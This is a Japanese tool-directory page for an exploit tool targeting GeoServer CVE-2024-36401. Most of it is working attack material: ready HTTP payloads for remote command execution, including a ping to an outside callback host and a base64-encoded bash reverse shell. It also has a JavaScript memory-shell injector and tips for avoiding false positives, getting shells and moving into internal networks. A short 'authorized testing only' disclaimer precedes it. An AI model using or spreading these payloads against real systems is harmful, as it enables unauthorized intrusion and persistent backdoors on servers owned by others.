Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
geoserver- — geoserver CVE-2024-36401脆弱性エクスプロイトツール | Kitploit
ツール/GitHubGitHub/ahisec/geoserver-
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401脆弱性エクスプロイトツール

リポジトリを見る
4682年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

geoserver CVE-2024-36401 エクスプロイトツール

geoserver CVE-2024-36401 環境: JDK8 宣言: 許可されたテストにのみ使用し、ユーザーによる悪用の結果はすべて作者の責任ではありません。法律と規制を遵守してください!

1, デフォルトペイロード:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

ここで注意: <wfs:Query typeNames='sf:archsites'/>

この部分、正規表現で取得する必要がある場合、これはsf:archsitesサイトの基本識別子です。まずこれを取得する必要があります

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>情報を取得し、その後連結方式を取ることができます

脆弱性を判断するとき wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

この部分は、実際にはDNSレコードを確認する必要はありません

単純なロジックは、異常なクラスが存在するかどうかを判断することです

例: java.lang.ClassCastException

もちろん、これは判断ロジックに過ぎません

このレスポンスは本来400です。ここでミスをしやすいので、エラーページを判断した後、データを検索する必要があります

まず、以下をリクエストする必要があります <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

この情報は、wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>を取得できることを示します

それをテキストに直接代入し、次に関数メソッドを呼び出し、テキストから切り取った情報をパラメータの<wfs:Query typeNames='sf:archsites'/>に連結します

これにより、判断ロジックが比較的正確になります。検出クラスはこのように書けば問題ありません

もし常に <wfs:Query typeNames='sf:archsites'/> だけを使用すると、誤判定の確率が高くなり、sf:archsitesが見つからないというエラーが表示されます

リバースシェル

リバースペイロードを見てみましょう:

POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>

ここで注意:

<wfs:Query typeNames='sf:archsites'/>

同様に、まず正規表現で値を取得し、それを連結します

その後直接リクエスト

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYxはbase64エンコードされたものです

作成時には、ユーザーが入力したbash -i >& /dev/tcp/127.0.0.1/9999 0>&1をbase64に変換すれば良いです

その後リクエストを送信し、同様にキーとなる例外クラスを見つけて判断ロジックを行います

メモリシェル注入クラス この部分 POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>

ここでも <wfs:Query typeNames='sf:archsites'/> があります。いつものルールで、まず値を取得します

starのところに、生成したbase64のメモリシェル暗号化コードを入れます

その後判断ロジックを行います

ミスしやすいポイント

  1. <wfs:Query typeNames='sf:archsites'/>の繰り返し使用による誤判定確率98%、エラー例:

https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<

脆弱性が存在する場合: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>

簡単に言うと、脆弱性が存在する場合はjava.lang.ClassCastException

誤判定はCould not locate {http://www.openplans.org/spearfish}archsites in catalog

  1. 判断方法: 呼び出されたwfs:ReturnFeatureType>を取得し、テキストに代入 -> テキストで関数メソッドを呼び出し、リクエスト、連結してリクエスト、レスポンスの例外を判断

テキストで関数を呼び出す際には、事前に値を与えておく必要があります。これによりNullPointerExceptionを防ぎます。リクエスト前に連結し、レスポンスの例外を判断し、例外内で判断します

最終的にこのエクスプロイトツールの作成を実現しました

image

脆弱性をテストしてみましょう

ツール実行効果

image

image

ヒント: レスポンスなしと脆弱性出力なしは同じです。脆弱性が存在する場合は+マークが表示されます

脆弱性を発見し、シェルにリバース接続、オンラインテストを行い、接続できれば内部ネットワークテストを実施します

最適化として、カスタムメモリシェルやバッチ検出などの機能を追加する可能性があります

image

脆弱性が検出され、エンドポイントが取得され、リバースシェルも成功しました

次にメモリシェルの注入を試してみましょう

image

メモリシェルの注入に成功したと表示されました。接続して確認しましょう

image

接続可能です

ヒント: メモリシェルのテスト、This GeoServer instance is running version 2.15.2. For more information please contact the

このバージョンではメモリシェル注入成功

高バージョンでは失敗する可能性があります

その他は各自テストしてください

image

カスタムメモリシェル機能を追加しました

image

更新履歴

lsテスト、pingテストを追加

メモリシェル注入の問題を修正

tomcatとjettyの識別を追加

Godzillaメモリシェルはデフォルトでjetty環境を使用して注入

カスタムメモリシェルは自分でtomcat環境を選択してテスト可能

バッチバージョンは未公開

ツールをダウンロード